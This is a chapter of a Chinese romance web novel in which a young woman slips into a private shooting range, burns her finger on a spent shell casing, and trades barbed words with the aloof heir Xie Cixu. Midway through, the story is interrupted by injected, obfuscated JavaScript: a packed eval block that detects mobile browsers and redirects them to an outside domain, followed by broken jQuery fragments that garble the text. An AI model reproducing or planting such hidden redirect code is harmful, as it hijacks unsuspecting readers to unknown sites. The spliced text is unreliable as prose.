11. 陷落(待补充)

作品:《陷落春日

    谢辞序睇过来的视线依旧透着冷意,不过同之前相比,至少多了几分温度,如果人与人之间的好感度有具体数值的话,她在他那里的值应该是从负数归正了。


    鉴于岑稚许脑子里东西根本见不得光,她难得有些不自在,压住心口的痒意,“我怕打扰你。”


    倒也算不上说谎。


    要不是他这么快发现她的存在,这么好的机会,她还能多欣赏一会。枪法干净利落,颜值和身材也没话说,要不是受他的身份和气性所限,她甚至想专门打造一个综艺将他捧起来,有没有热度都是其次,这样就能让他心甘情愿留在她身边。


    好听的话没诚意,真心话倒是时常惹人不悦。


    左右都没有能让她安分的。


    谢辞序撩起眼皮,“刚认识那会都不怕,现在反倒怕了?”


    岑稚许没搭腔,眼尾那颗泪痣若隐若现,长发松松垮垮地盘在脑后,露出修长白皙的天鹅颈,珍珠耳钉的款式同上次见面没什么区别,并不夺目,却叫人耳目一新。


    谢辞序后知后觉地反应过来,她在他心底留下印象太过深刻,竟连这样的细节都没能遗漏。


    他不动声色地收回视线,朝她招手,示意她过去,岑稚许磨磨蹭蹭好半晌才挪动,堪堪在距离他几步路远的地方停下,像是在避嫌。


    欲擒故纵的把戏不要太明显。


    谢辞序佯装未察,轻笑了声:“我是什么豺狼虎豹?”


    岑稚许却好似没听出他话语中的不虞,垂睫指向散落一地的弹壳,他这人玩起枪子来丝毫不心疼,让她连个落脚的地都没有,好不容易挑了处干净的地方,她才不想冒着滑倒的风向走过去。


    “辞哥,你总该考虑考虑我。”


    谢辞序不习惯有人在旁边,都是等弹夹空了,彻底尽兴后才让人来打扫,头一回碰到岑稚许这样的不速之客,的确忘了这一点。


    她这话说得一语双关,红唇挽起清落的笑,意味明显,乌眸倒是显得无辜,好似说者无心,听者有心。


    也不知道跟谁学的这些话。


    谢辞序没有再深入往下想,情绪闪过一丝不耐。自从她出现之后,总能扰乱他自以为已然沉敛平静的心绪。他烦躁地用拇指压住枪柄。


    岑稚许一手捂住胸口的位置,边弯腰去拾地面的子弹壳。


    “呀——”她惊呼一声,匆忙抽回指尖,秀眉下意识蹙紧,想要后退,却不慎踩到了弹壳,身体霎时因为惯性向后仰倒。


    谢辞序这次没有再作壁上观,沉着脸扶稳了她的腰。熟悉的香味再度缠上来,她几乎是以依偎的姿势,靠在他紧实有力的胸膛上。他身上的肌肉因她的贴近而绷紧、僵硬,一切变得不受控起来。


    从他开口的那刻起。


    岑稚许抻直了指尖,顶端缀着一抹花蕊般的红,同她白玉般的肌肤形成鲜明对比。


    “这是……过敏吗?”


    谢辞序眼眸冷了冷,平静道:“烫伤。”


    岑稚许沉默片刻,贡献出了毕生的演技,“怎么会?”


    “刚出膛的弹壳温度极高,连发的情况下,最高能达到两百多度。”


    谢辞序稍瞬一顿,乌暗的眸子擒住她,“别告诉我你连这点常识都不懂,就敢跟着庄缚青他妹妹四处鬼混。”


    “晗景的世界丰富多彩,什么都爱涉猎一点,活动邀请、派对party、户外运动哪一样都很吸引人,跟着她明明就是在拓宽眼界。”


    岑稚许忍不住为庄晗景叫冤,要说鬼混,也是庄晗景被她带坏,无缘无故背这口黑锅,实在是让她良心过意不去。


    她正欲展开辩驳,对上谢辞序那双泛着一点薄怒的凤眸,冷不丁地哑了声,话到嘴边悉数咽了回去。


    “辞哥。”岑稚许说,“你这是对庄缚青有偏见。”


    谢辞序那么敏锐,不会听不出这其中的绝妙。


    差点忘了,庄缚青才是那场局的组织者,又是她闺蜜的亲哥哥,论亲疏远近,到底是比他这个‘朋友’更值得维护。


    “我对他没偏见。”谢辞序眼底的黑仿佛能将她整个吸入其中,幽暗,深冷,探不到底。


    “对你有。”他冷漠地补充。


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14054576|149139||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    平白被骂了一通。


    岑稚许倒也没生气,就是觉得好玩,“可是偏见就是用来打破的,既然我们都已经是朋友了,难道不应该试着对我改观吗?”


    谢辞序松开掌锢她身体的手,将步枪扔回枪架上,抬眼扫过去,她立即作出几分乖巧的模样,眼里却酝出几分狡黠,他隐约觉得自己被摆了一道。


    “你跟安保也是这么说的,对吗。”谢辞序微顿,“朋友。”


    “辞哥包了场,他们恪尽职守,当然不会放陌生人进来叨扰。”岑稚许说,“辞哥的朋友除外。”


    谢辞序没有责怪她打探自己的行程,也没有斥责她自作主张地溜进来,只轻讽似的评价:“投机取巧。”


    何止投机取巧,她还近水楼台,从他兄弟那抄近道呢。


    这些话岑稚许可不敢当着他的面说,她眸光一转,“如果我没记错的话,上次通话前,辞哥亲口答应了,要跟我做朋友。”


    谢辞序抬起半边眉梢,似是想看看她能编出什么花来。


    “你说,我知道了,岑小姐。”


    “我说的并不是指这件事。”谢辞序极有耐心的纠正。


    岑稚许没有张冠李戴被拆穿后的心虚,思忖片刻后,面上多了几分领悟般的恍然,似笑非笑地望着他。


    二选一之下的答案显而易见。


    不是默许同她做朋友。


    那就是默许了关于称谓的回答。


    她步步越界,跟着那群发小一起叫他辞哥,也就意味着,他亦可以迈出这一步,唤她阿稚。


    亲昵的称呼,意味不明的朋友。


    谢辞序周身的气压莫名有些低,不愿再同她玩这种无聊幼稚的文字游戏。他绕过她,径直往固定靶场的方向走。纯黑休闲裤束脚扎进软皮长筒靴里,将他本就绝佳的身形比例勾勒得愈发禁欲矜贵。


    虽然不知道哪句话惹了他,岑稚许倒是觉得,高高在上的太子爷似乎也有冷脸洗内裤的潜质——路过她身侧之际,碍眼的子弹壳都被散漫的步伐踢开,给她划了一条干净的道来。


    -